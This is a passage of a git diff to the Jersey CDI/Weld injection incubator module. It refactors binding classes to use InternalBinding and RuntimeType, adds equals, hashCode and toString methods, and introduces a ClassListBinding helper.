+                        .getInjectionManagerBinding((InitializableSupplierInstanceBinding<T>) getBinding())
+                        .getSupplier();
+            }
             return supplier;
         }
     }
@@ -115,4 +123,9 @@
     public Class<? extends Annotation> getScope() {
         return getBinding().getScope() == null ? Dependent.class : transformScope(getBinding().getScope());
     }
+
+    @Override
+    public String toString() {
+        return getBinding().toString();
+    }
 }
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/InitializableSupplierInstanceBeanBridge.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/InitializableSupplierInstanceBeanBridge.java
index 8f16719..e073517 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/InitializableSupplierInstanceBeanBridge.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/InitializableSupplierInstanceBeanBridge.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,9 +21,12 @@
 import jakarta.ws.rs.RuntimeType;
 
 import org.glassfish.jersey.inject.weld.internal.inject.InitializableSupplierInstanceBinding;
+import org.glassfish.jersey.inject.weld.internal.injector.JerseyClientCreationalContext;
 import org.glassfish.jersey.inject.weld.internal.injector.JerseyInjectionTarget;
+import org.glassfish.jersey.inject.weld.internal.managed.CdiClientInjectionManager;
+import org.glassfish.jersey.inject.weld.internal.managed.ContextSafe;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.inject.DisposableSupplier;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
 
 import java.lang.annotation.Annotation;
 import java.util.function.Supplier;
@@ -83,7 +86,19 @@
 
     @Override
     public Object create(CreationalContext creationalContext) {
-        return supplier.get();
+        if (JerseyClientCreationalContext.class.isInstance(creationalContext)) {
+            final InitializableSupplierInstanceBinding binding = (InitializableSupplierInstanceBinding) getBinding();
+            final JerseyClientCreationalContext jerseyContext = (JerseyClientCreationalContext) creationalContext;
+            return jerseyContext.getInjectionManager().getInjectionManagerBinding(binding).getSupplier().get();
+        } else {
+            CdiClientInjectionManager locked = ContextSafe.get();
+            if (locked != null) {
+                return locked
+                        .getInjectionManagerBinding((InitializableSupplierInstanceBinding) getBinding())
+                        .getSupplier().get();
+            }
+            return supplier.get();
+        }
     }
 
     @Override
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/InitializableSupplierThreadScopeBean.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/InitializableSupplierThreadScopeBean.java
index 3415b46..a20cf93 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/InitializableSupplierThreadScopeBean.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/InitializableSupplierThreadScopeBean.java
@@ -24,7 +24,7 @@
 
 import org.glassfish.jersey.inject.weld.internal.inject.InitializableSupplierInstanceBinding;
 import org.glassfish.jersey.inject.weld.internal.injector.JerseyInjectionTarget;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.jboss.weld.bean.StringBeanIdentifier;
 import org.jboss.weld.bean.proxy.BeanInstance;
 import org.jboss.weld.bean.proxy.ContextBeanInstance;
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/JerseyBean.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/JerseyBean.java
index 66594f9..deaa049 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/JerseyBean.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/JerseyBean.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,6 +21,7 @@
 import java.util.Arrays;
 import java.util.Collections;
 import java.util.HashSet;
+import java.util.Objects;
 import java.util.Set;
 
 import jakarta.enterprise.context.Dependent;
@@ -36,7 +37,7 @@
 import jakarta.ws.rs.RuntimeType;
 
 import org.glassfish.jersey.JerseyPriorities;
-import org.glassfish.jersey.internal.inject.Binding;
+import org.glassfish.jersey.innate.inject.InternalBinding;
 import org.glassfish.jersey.internal.inject.PerLookup;
 import org.glassfish.jersey.internal.inject.PerThread;
 
@@ -58,21 +59,21 @@
         DEFAULT_QUALIFIERS.add(new AnnotationLiteral<Any>() {});
     }
 
-    public Binding<T, ?> getBinding() {
+    public InternalBinding<T, ?> getBinding() {
         return binding;
     }
 
-    private final Binding<T, ?> binding;
+    private final InternalBinding<T, ?> binding;
     private final RuntimeType runtimeType;
 
     /**
-     * JerseyBean constructor with {@link Binding} which represents {@link jakarta.enterprise.context.spi.Contextual} part of the
+     * JerseyBean constructor with {@link InternalBinding} which represents {@link jakarta.enterprise.context.spi.Contextual} part of the
      * bean.
      *
      * @param runtimeType
      * @param binding information about the bean.
      */
-    JerseyBean(RuntimeType runtimeType, Binding<T, ?> binding) {
+    JerseyBean(RuntimeType runtimeType, InternalBinding<T, ?> binding) {
         this.binding = binding;
         this.runtimeType = runtimeType == null ? RuntimeType.SERVER : runtimeType;
     }
@@ -161,7 +162,7 @@
             return binding.getRank();
         }
 
-        int defaultValue = 1;
+        int defaultValue = 0;
         Class<T> type = binding.getImplementationType();
         if (type != null) {
             return JerseyPriorities.getPriorityValue(type, defaultValue);
@@ -189,4 +190,17 @@
     public String getContractsAsString() {
         return Arrays.toString(binding.getContracts().toArray());
     }
+
+    @Override
+    public boolean equals(Object o) {
+        if (this == o) return true;
+        if (o == null || getClass() != o.getClass()) return false;
+        JerseyBean<?> that = (JerseyBean<?>) o;
+        return Objects.equals(binding, that.binding) && runtimeType == that.runtimeType;
+    }
+
+    @Override
+    public int hashCode() {
+        return Objects.hash(binding, runtimeType);
+    }
 }
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/SupplierBeanBridge.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/SupplierBeanBridge.java
index 5aa91eb..cfeaa1f 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/SupplierBeanBridge.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/SupplierBeanBridge.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -33,10 +33,10 @@
 import org.glassfish.jersey.inject.weld.internal.injector.JerseyInjectionTarget;
 import org.glassfish.jersey.inject.weld.managed.CdiInjectionManagerFactory;
 import org.glassfish.jersey.inject.weld.internal.type.ParameterizedTypeImpl;
+import org.glassfish.jersey.innate.inject.SupplierClassBinding;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.inject.DisposableSupplier;
 import org.glassfish.jersey.internal.inject.InjectionManager;
-import org.glassfish.jersey.internal.inject.SupplierClassBinding;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
 
 /**
  * Creates an implementation of {@link jakarta.enterprise.inject.spi.Bean} interface using Jersey's {@link SupplierInstanceBinding}.
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/SupplierClassBean.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/SupplierClassBean.java
index ef4d154..c2e8c60 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/SupplierClassBean.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/SupplierClassBean.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -29,8 +29,8 @@
 
 import org.glassfish.jersey.inject.weld.internal.injector.JerseyInjectionTarget;
 import org.glassfish.jersey.inject.weld.internal.type.ParameterizedTypeImpl;
+import org.glassfish.jersey.innate.inject.SupplierClassBinding;
 import org.glassfish.jersey.internal.inject.DisposableSupplier;
-import org.glassfish.jersey.internal.inject.SupplierClassBinding;
 
 /**
  * Creates an implementation of {@link jakarta.enterprise.inject.spi.Bean} interface using Jersey's {@link SupplierClassBinding}.
@@ -63,7 +63,7 @@
  *
  * @author Petr Bouda
  */
-class SupplierClassBean<T> extends JerseyBean<Supplier<T>> {
+public class SupplierClassBean<T> extends JerseyBean<Supplier<T>> {
 
     private final Set<Type> contracts = new HashSet<>();
     private final Class<? extends Supplier<T>> supplierClass;
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/SupplierThreadScopeClassBean.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/SupplierThreadScopeClassBean.java
index fe3e8b4..f0de53f 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/SupplierThreadScopeClassBean.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/bean/SupplierThreadScopeClassBean.java
@@ -16,8 +16,8 @@
 
 package org.glassfish.jersey.inject.weld.internal.bean;
 
-import org.glassfish.jersey.internal.inject.SupplierClassBinding;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
+import org.glassfish.jersey.innate.inject.SupplierClassBinding;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.util.collection.LazyValue;
 import org.glassfish.jersey.internal.util.collection.Value;
 import org.glassfish.jersey.internal.util.collection.Values;
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/data/BindingBeanPair.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/data/BindingBeanPair.java
index 1d0b2c9..3928371 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/data/BindingBeanPair.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/data/BindingBeanPair.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,19 +16,19 @@
 package org.glassfish.jersey.inject.weld.internal.data;
 
 import org.glassfish.jersey.inject.weld.internal.bean.JerseyBean;
-import org.glassfish.jersey.internal.inject.Binding;
+import org.glassfish.jersey.innate.inject.InternalBinding;
 
-import java.util.LinkedList;
+import java.util.ArrayList;
 import java.util.List;
 
 /**
  * Pair of a binding and corresponding Jersey beans.
  */
 public class BindingBeanPair {
-    private final Binding binding;
-    private final List<JerseyBean> beans = new LinkedList<JerseyBean>();
+    private final InternalBinding binding;
+    private final List<JerseyBean> beans = new ArrayList<JerseyBean>();
 
-    public BindingBeanPair(Binding binding, JerseyBean... beans) {
+    public BindingBeanPair(InternalBinding binding, JerseyBean... beans) {
         this.binding = binding;
         if (beans != null) {
             for (JerseyBean bean : beans) {
@@ -37,7 +37,7 @@
         }
     }
 
-    public Binding getBinding() {
+    public InternalBinding getBinding() {
         return binding;
     }
 
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/ClassListBinding.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/ClassListBinding.java
new file mode 100644
index 0000000..604dd58
--- /dev/null
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/ClassListBinding.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.inject.weld.internal.inject;
+
+import org.glassfish.jersey.innate.inject.ClassBinding;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.internal.inject.ServiceHolder;
+import org.glassfish.jersey.internal.inject.ServiceHolderImpl;
+import org.glassfish.jersey.internal.util.collection.LazyValue;
+import org.glassfish.jersey.internal.util.collection.Value;
+import org.glassfish.jersey.internal.util.collection.Values;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.stream.Collectors;
+
+public class ClassListBinding<T> {
+    private final Class<T> serviceType;
+    private final List<ClassBinding<T>> services = new ArrayList<>();
+    private final InjectionManager injectionManager;
+    private final LazyValue<List<ServiceHolder<T>>> instances;
+
+    public ClassListBinding(Class<T> serviceType, InjectionManager injectionManager) {
+        this.serviceType = serviceType;
+        this.injectionManager = injectionManager;
+        instances = Values.lazy((Value<List<ServiceHolder<T>>>) () -> services.stream()
+                .map(binding -> new ServiceHolderImpl(
+                        create(binding),
+                        binding.getService().getClass(),
+                        binding.getContracts(),
+                        binding.getRank() == null ? 0 : binding.getRank()))
+                .map(sh -> (ServiceHolder<T>) sh).collect(Collectors.toList()));
+    }
+
+    private T create(ClassBinding<T> binding) {
+        T t = injectionManager.createAndInitialize(binding.getService());
+        return t;
+    }
+
+    public void init(ClassBinding<?> service) {
+        services.add((ClassBinding<T>) service);
+    }
+
+    public List<T> getServices() {
+        return instances.get().stream().map(sh -> ((ServiceHolder<T>) sh).getInstance()).collect(Collectors.toList());
+    }
+
+    public List<ServiceHolder<T>> getServiceHolders() {
+        return instances.get();
+    }
+
+    @Override
+    public String toString() {
+        return super.toString();
+    }
+}
diff --git a/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/package-info.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/InitializableBinding.java
similarity index 63%
rename from containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/package-info.java
rename to incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/InitializableBinding.java
index a402b27..d464483 100644
--- a/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/package-info.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/InitializableBinding.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,7 +14,13 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
-/**
- * Jersey Jetty HTTP2 container classes.
- */
-package org.glassfish.jersey.jetty.http2;
+package org.glassfish.jersey.inject.weld.internal.inject;
+
+import jakarta.ws.rs.RuntimeType;
+
+public abstract class InitializableBinding<T, U extends MatchableBinding> extends MatchableBinding<T, U> {
+
+    public abstract boolean isInit();
+
+    public abstract RuntimeType getRuntimeType();
+}
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/InitializableInstanceBinding.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/InitializableInstanceBinding.java
index 61b4a2c..56afe3c 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/InitializableInstanceBinding.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/InitializableInstanceBinding.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,15 +16,15 @@
 
 package org.glassfish.jersey.inject.weld.internal.inject;
 
+import org.glassfish.jersey.innate.inject.InternalBinding;
+import org.glassfish.jersey.innate.inject.InstanceBinding;
 import org.glassfish.jersey.internal.inject.AliasBinding;
-import org.glassfish.jersey.internal.inject.Binding;
-import org.glassfish.jersey.internal.inject.Bindings;
-import org.glassfish.jersey.internal.inject.InstanceBinding;
 
+import jakarta.ws.rs.RuntimeType;
 import java.lang.annotation.Annotation;
 import java.lang.reflect.Type;
 import java.util.Arrays;
-import java.util.Collections;
+import java.util.Objects;
 import java.util.Set;
 import java.util.concurrent.atomic.AtomicBoolean;
 
@@ -34,19 +34,21 @@
  *
  * @param <T> Type of the service described by this injection binding.
  */
-public class InitializableInstanceBinding<T> extends MatchableBinding<T, InitializableInstanceBinding<T>> implements Cloneable {
+public class InitializableInstanceBinding<T> extends InitializableBinding<T, InitializableInstanceBinding<T>>
+        implements Cloneable {
 
     protected T service;
-    private AtomicBoolean isInit = new AtomicBoolean(false);
+    private final AtomicBoolean isInit = new AtomicBoolean(false);
     private Class<T> implementationType;
+    private final RuntimeType runtimeType;
 
     /**
      * Creates a service as an instance.
      *
      * @param service service's instance.
      */
-    protected InitializableInstanceBinding(T service) {
-        this(service, null);
+    protected InitializableInstanceBinding(T service, RuntimeType runtimeType) {
+        this(service, null, runtimeType);
     }
 
     /**
@@ -55,12 +57,13 @@
      * @param service      service's instance.
      * @param contractType service's contractType.
      */
-    private InitializableInstanceBinding(T service, Type contractType) {
+    private InitializableInstanceBinding(T service, Type contractType, RuntimeType runtimeType) {
         this.service = service;
         this.implementationType = service == null ? null : (Class<T>) service.getClass();
         if (contractType != null) {
             this.to(contractType);
         }
+        this.runtimeType = runtimeType;
     }
 
     /**
@@ -81,6 +84,7 @@
      *
      * @return service's type.
      */
+    @Override
     public Class<T> getImplementationType() {
         return implementationType;
     }
@@ -98,7 +102,13 @@
         return isInit.get();
     }
 
-    public Matching<InitializableInstanceBinding<T>> matches(Binding other) {
+    @Override
+    public RuntimeType getRuntimeType() {
+        return runtimeType;
+    }
+
+    @Override
+    public Matching<InitializableInstanceBinding<T>> matches(InternalBinding other) {
         return super.matches(other);
     }
 
@@ -107,8 +117,8 @@
         throw new RuntimeException(new CloneNotSupportedException());
     }
 
-    public static <T> InitializableInstanceBinding<T> from(InstanceBinding<T> instanceBinding) {
-        return new InitializableWrappingInstanceBinding(instanceBinding);
+    public static <T> InitializableInstanceBinding<T> from(InstanceBinding<T> instanceBinding, RuntimeType runtimeType) {
+        return new InitializableWrappingInstanceBinding(instanceBinding, runtimeType);
     }
 
     @Override
@@ -116,42 +126,79 @@
         return MatchLevel.IMPLEMENTATION;
     }
 
+    @Override
+    public Matching<MatchableBinding> matching(InternalBinding other) {
+        return visitor.matches((InitializableInstanceBinding) this, other);
+    }
+
+    @Override
+    public int hashCode() {
+        return Objects.hash(service, implementationType);
+    }
+
+    @Override
+    public boolean equals(Object o) {
+        if (this == o) return true;
+        if (o == null || getClass() != o.getClass()) return false;
+        InitializableInstanceBinding<?> that = (InitializableInstanceBinding<?>) o;
+        return Objects.equals(service, that.service)
+                && Objects.equals(implementationType, that.implementationType);
+    }
+
     private static class InitializableWrappingInstanceBinding<T> extends InitializableInstanceBinding<T> {
         private final InstanceBinding<T> wrapped;
-        public InitializableWrappingInstanceBinding(InstanceBinding<T> binding) {
-            super(binding.getService());
+        public InitializableWrappingInstanceBinding(InstanceBinding<T> binding, RuntimeType runtimeType) {
+            super(binding.getService(), runtimeType);
             wrapped = binding;
+            postCreate();
         }
 
-        private InitializableWrappingInstanceBinding(InitializableWrappingInstanceBinding<T> binding) {
-            super(binding.service);
+        private InitializableWrappingInstanceBinding(InitializableWrappingInstanceBinding<T> binding, RuntimeType runtimeType) {
+            super(binding.service, runtimeType);
             wrapped = binding.wrapped;
+            postCreate();
         }
 
-        @Override
-        public Class<T> getImplementationType() {
-            return super.getImplementationType();
+        private void postCreate() {
+            wrapped.getContracts().forEach(c -> this.to(c));
+            if (wrapped.getRank() != null) {
+                this.ranked(wrapped.getRank());
+            }
+            this.named(wrapped.getName());
+            this.id(wrapped.getId());
+            this.in(wrapped.getScope());
+            this.forClient(wrapped.isForClient());
         }
 
-        @Override
-        public T getService() {
-            return super.getService();
-        }
+//        @Override
+//        public Class<T> getImplementationType() {
+//            return super.getImplementationType();
+//        }
+//
+//        @Override
+//        public T getService() {
+//            return super.getService();
+//        }
+//
+//        @Override
+//        public RuntimeType getRuntime() {
+//            return super.getRuntime();
+//        }
 
-        @Override
-        public Class<? extends Annotation> getScope() {
-            return wrapped.getScope();
-        }
-
-        @Override
-        public Set<Type> getContracts() {
-            return wrapped.getContracts();
-        }
-
-        @Override
-        public Integer getRank() {
-            return wrapped.getRank();
-        }
+//        @Override
+//        public Class<? extends Annotation> getScope() {
+//            return wrapped.getScope();
+//        }
+//
+//        @Override
+//        public Set<Type> getContracts() {
+//            return wrapped.getContracts();
+//        }
+//
+//        @Override
+//        public Integer getRank() {
+//            return wrapped.getRank();
+//        }
 
         @Override
         public Set<AliasBinding> getAliases() {
@@ -175,12 +222,22 @@
 
         @Override
         public String toString() {
-            return "InitializableWrappingInstanceBinding(" + wrapped.getService().getClass() + ")";
+            return wrapped.toString();
         }
 
+//        @Override
+//        public boolean isForClient() {
+//            return wrapped.isForClient();
+//        }
+//
+//        @Override
+//        public long getId() {
+//            return wrapped.getId();
+//        }
+
         @Override
         public InitializableWrappingInstanceBinding clone() {
-            return new InitializableWrappingInstanceBinding(this);
+            return new InitializableWrappingInstanceBinding(this, this.getRuntimeType());
         }
     }
 }
\ No newline at end of file
diff --git a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/InitializableSupplierInstanceBinding.java b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/InitializableSupplierInstanceBinding.java
index d99bf59..7670e49 100644
--- a/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/InitializableSupplierInstanceBinding.java
+++ b/incubator/cdi-inject-weld/src/main/java/org/glassfish/jersey/inject/weld/internal/inject/InitializableSupplierInstanceBinding.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,11 +16,12 @@
 
 package org.glassfish.jersey.inject.weld.internal.inject;
 
+import org.glassfish.jersey.innate.inject.InternalBinding;
+import org.glassfish.jersey.innate.inject.SupplierInstanceBinding;
 import org.glassfish.jersey.internal.inject.AliasBinding;
-import org.glassfish.jersey.internal.inject.Binding;
 import org.glassfish.jersey.internal.inject.DisposableSupplier;
-import org.glassfish.jersey.internal.inject.SupplierInstanceBinding;
 
+import jakarta.ws.rs.RuntimeType;
 import java.lang.annotation.Annotation;
 import java.lang.reflect.Type;
 import java.util.Set;
@@ -32,20 +33,23 @@
  * @param <T> Type of the supplied service described by this injection binding.
  */
 public class InitializableSupplierInstanceBinding<T>
-        extends MatchableBinding<Supplier<T>, InitializableSupplierInstanceBinding<T>>
+        extends InitializableBinding<Supplier<T>, InitializableSupplierInstanceBinding<T>>
         implements Cloneable {
 
     private final InitializableSupplier<T> supplier;
+    private final RuntimeType runtimeType;
 
     /**
      * Creates a supplier as an instance.
      *
-     * @param supplier service's instance.
+     * @param supplier    service's instance.
+     * @param runtimeType
      */
-    public InitializableSupplierInstanceBinding(Supplier<T> supplier) {
+    public InitializableSupplierInstanceBinding(Supplier<T> supplier, RuntimeType runtimeType) {
         this.supplier = DisposableSupplier.class.isInstance(supplier)
                 ? new InitializableDisposableSupplier<T>((DisposableSupplier<T>) supplier)
                 : new InitializableSupplier<T>(supplier);
+        this.runtimeType = runtimeType;
         if ("EmptyReferenceFactory".equals(supplier.getClass().getSimpleName())) {
             this.supplier.init(supplier);
             this.supplier.isReferencingFactory = true;
@@ -65,6 +69,11 @@
         return supplier.init.get();
     }
 
+    @Override
+    public RuntimeType getRuntimeType() {
+        return runtimeType;
+    }
+
     /**
      * Gets supplier's instance.
      *
@@ -81,8 +90,8 @@
         return supplier.originalSupplier;
     }
 
-    public static <T> InitializableSupplierInstanceBinding<T> from(SupplierInstanceBinding<T> binding) {
-        return new InitializableSupplierWrappingInstanceBinding(binding);
+    public static <T> InitializableSupplierInstanceBinding<T> from(SupplierInstanceBinding<T> binding, RuntimeType runtimeType) {
+        return new InitializableSupplierWrappingInstanceBinding(binding, runtimeType);
     }
 
     @Override
@@ -99,7 +108,10 @@
     }
 
     private Matching<InitializableSupplierInstanceBinding<T>> matches(
-            Class<?> originalSupplierClass, Class<?> otherSupplierClass, Binding other) {
+            Class<?> originalSupplierClass, Class<?> otherSupplierClass, InternalBinding other) {
+        if (getId() != 0) {
+            return matchesById(other);
+        }
         final boolean matchesService = originalSupplierClass.equals(otherSupplierClass);
         final Matching matching = matchesContracts(other);
         if (matching.matchLevel == MatchLevel.FULL_CONTRACT && matchesService) {
@@ -113,6 +125,11 @@
         return MatchLevel.SUPPLIER;
     }
 
+    @Override
+    public Matching<MatchableBinding> matching(InternalBinding other) {
+        return visitor.matches((InitializableSupplierInstanceBinding) this, other);
+    }
+
     private static class InitializableDisposableSupplier<T> extends InitializableSupplier<T> implements DisposableSupplier<T> {
         private InitializableDisposableSupplier(DisposableSupplier<T> originalSupplier) {
             super(originalSupplier);
@@ -120,7 +137,9 @@
 
         @Override
         public void dispose(T instance) {
-            ((DisposableSupplier) supplier).dispose(instance);
+            if (isInit()) {
+                ((DisposableSupplier) supplier).dispose(instance);
+            }
         }
     }
 
@@ -158,40 +177,59 @@
 
     private static class InitializableSupplierWrappingInstanceBinding<T> extends InitializableSupplierInstanceBinding<T> {
         private final SupplierInstanceBinding wrapped;
-        public InitializableSupplierWrappingInstanceBinding(SupplierInstanceBinding binding) {
-            super(binding.getSupplier());
+        InitializableSupplierWrappingInstanceBinding(SupplierInstanceBinding binding, RuntimeType runtimeType) {
+            super(binding.getSupplier(), runtimeType);
             wrapped = binding;
+            postCreate();
         }
 
-        private InitializableSupplierWrappingInstanceBinding(InitializableSupplierWrappingInstanceBinding binding) {
-            super(binding.getOriginalSupplier());
+        private InitializableSupplierWrappingInstanceBinding(InitializableSupplierWrappingInstanceBinding binding,
+                                                             RuntimeType runtimeType) {
+            super(binding.getOriginalSupplier(), runtimeType);
             wrapped = binding.wrapped;
+            postCreate();
         }
 
-        @Override
-        public Class getImplementationType() {
-            return super.getImplementationType();
+        private void postCreate() {
+            wrapped.getContracts().forEach(c -> this.to((Type) c));
+            if (wrapped.getRank() != null) {
+                this.ranked(wrapped.getRank());
+            }
+            this.named(wrapped.getName());
+            this.id(wrapped.getId());
+            this.in(wrapped.getScope());
+            this.forClient(wrapped.isForClient());
         }
 
-        @Override
-        public Supplier getSupplier() {
-            return super.getSupplier();
-        }
+//        @Override
+//        public Class getImplementationType() {
+//            return super.getImplementationType();
+//        }
+//
+//        @Override
+//        public Supplier getSupplier() {
+//            return super.getSupplier();
+//        }
+//
+//        @Override
+//        public RuntimeType getRuntime() {
+//            return super.getRuntime();
+//        }
 
-        @Override
-        public Class<? extends Annotation> getScope() {
-            return wrapped.getScope();
-        }
-
-        @Override
-        public Set<Type> getContracts() {
-            return wrapped.getContracts();
-        }
-
-        @Override
-        public Integer getRank() {
-            return wrapped.getRank();
-        }
+//        @Override
+//        public Class<? extends Annotation> getScope() {
+//            return wrapped.getScope();
+//        }
+//
+//        @Override
+//        public Set<Type> getContracts() {
+//            return wrapped.getContracts();
+//        }
+//
+//        @Override
+//        public Integer getRank() {
+//            return wrapped.getRank();
+//        }
 
         @Override
         public Set<AliasBinding> getAliases() {
@@ -209,19 +247,35 @@
         }
 
         @Override
-        public String getName() {
-            return wrapped.getName();
+        public String toString() {
+            return wrapped.toString();
         }
 
+
+//        @Override
+//        public String getName() {
+//            return wrapped.getName();
+//        }
+
+//        @Override
+//        public long getId() {
+//            return wrapped.getId();
+//        }
+//
+//        @Override
+//        public boolean isForClient() {
+//            return wrapped.isForClient();
+//        }
+
         @Override
         public InitializableSupplierWrappingInstanceBinding clone() {
-            return new InitializableSupplierWrappingInstanceBinding(this);
+            return new InitializableSupplierWrappingInstanceBinding(this, getRuntimeType());
         }
 
-        @Override
-        public String toString() {
-            return "InitializableSupplierWrappingInstanceBinding(" +  wrapped.getSupplier() + ")";
-        }
+//        @Override
+//        public String toString() {
